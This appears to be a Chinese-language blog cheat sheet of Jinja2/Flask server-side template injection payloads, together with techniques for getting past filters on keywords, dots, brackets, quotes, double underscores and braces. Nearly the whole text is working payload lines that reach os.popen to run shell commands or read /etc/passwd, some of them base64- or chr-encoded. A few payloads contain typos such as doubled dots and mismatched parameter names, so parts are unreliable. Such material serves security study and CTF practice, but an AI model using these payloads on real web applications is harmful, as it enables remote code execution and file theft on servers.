Python SSTI基础绕过
关键字绕过
拼接
1 2
| ''.__class__ = ''['__cla' + 'ss__'] ''.__class__ =''|attr(('__clas','s__')|join)
|
还可以用~
进行拼接
1 2
| ''.__class__ = ''['__cla'~'ss__'] {%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
|
利用编码绕过
base64编码、Unicode编码、Hex编码等
以base64为例:
1 2 3
| {{().__class__.__base__.__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
{{().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
|
转置
1 2
| ''.__class__ = ''['__ssalc__'[::-1]] ''.__class__ = ''["__ssalc__"|reverse]
|
利用str内置方法
1 2 3 4
| ''.__class__ = ""['__cTass__'.replace("T","l")] ''['X19jbGFzc19f'.decode('base64')] = #python2 ''['__CLASS__'.lower()] "__claee__"|replace("ee","ss")
|
字符绕过
过滤了.
jinja2中除了Python中靠点获取属性,还可以用中括号
1
| ''.__class__ = ''['__class__']
|
如果连中括号也过滤了的话,还有一个|attr
的过滤器
1
| ''.__class__ = ''|attr('__class__')
|
过滤了[]
利用__getitem__()
绕过
getitem()
是python的一个魔术方法,对字典使用时,传入字符串,返回字典相应键所对应的值:当对列表使用时,传入整数返回列表对应索引的值
1 2 3
| [117]=__getitem__(117)
{{().__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}}
|
利用pop()
绕过
pop()方法
可以返回指定序列属性中的某个索引处的元素或指定字典属性中某个键对应的值,用法和上面的__getitem__()
基本一样
1
| {{().__class__.__base__.__subclasses__().pop(117).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("ls /").read()')}}
|
注:最好不要用pop(),因为pop()会删除相应位置的值
利用字典读取绕过
我们知道访问字典里的值有两种方法,一种是把相应的键放入我们熟悉的方括号 []
里来访问,另一种就是用点 .
来访问。所以,当方括号 []
被过滤之后,我们还可以用点 .
的方式来访问
1 2 3
| {{''.__class__.__base__.subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} = {{''.__class__.base__.subclasses__().__getitem__(117).__init__.__globals__.builtins__.eval('__import__("os").popen("ls /").read()')}}
|
过滤了引号
利用char()
绕过
1 2 3 4
| {{().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}} = {% set chr=().__class__.__base__.__subclasses__()[59].__init__.__globals__.__builtins__.chr%} {{().__class__.__base__..__subclasses__()[40](chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
|
利用request对象绕过
1 2 3
| {{().__class__.base__.__subclasses__()[77].__init__.__globals__.popen("ls /").read()}} = {{().__class__.base__.__subclasses__()[77].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=ls /
|
如果过滤了args
,可以将其中的request.args
改为request.values
,POST和GET两种方法传递的数据request.values
都可以接收
过滤了__
利用request绕过
1 2 3
| {{().__class__.base__.__subclasses__()[77].__init__.__globals__.popen("ls /").read()}} = {{().[request.args.class][request.args.base][request.args.subclasses]()[77][request.args.init][request.args.globals].popen("ls /").read()}}&class=__class__&bass=__base__&subclasses=__subclasses__&init=__init__&globals=__globals__
|
过滤了{{}}
利用{%print(......)%}
绕过
1 2 3
| {{''.__class__.base__.__subclasses__()[77].__init__.__globals__.popen("ls /").read()}} = {%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__.popen("ls /").read())%}
|
参考:
flask SSTI学习与总结–奇安信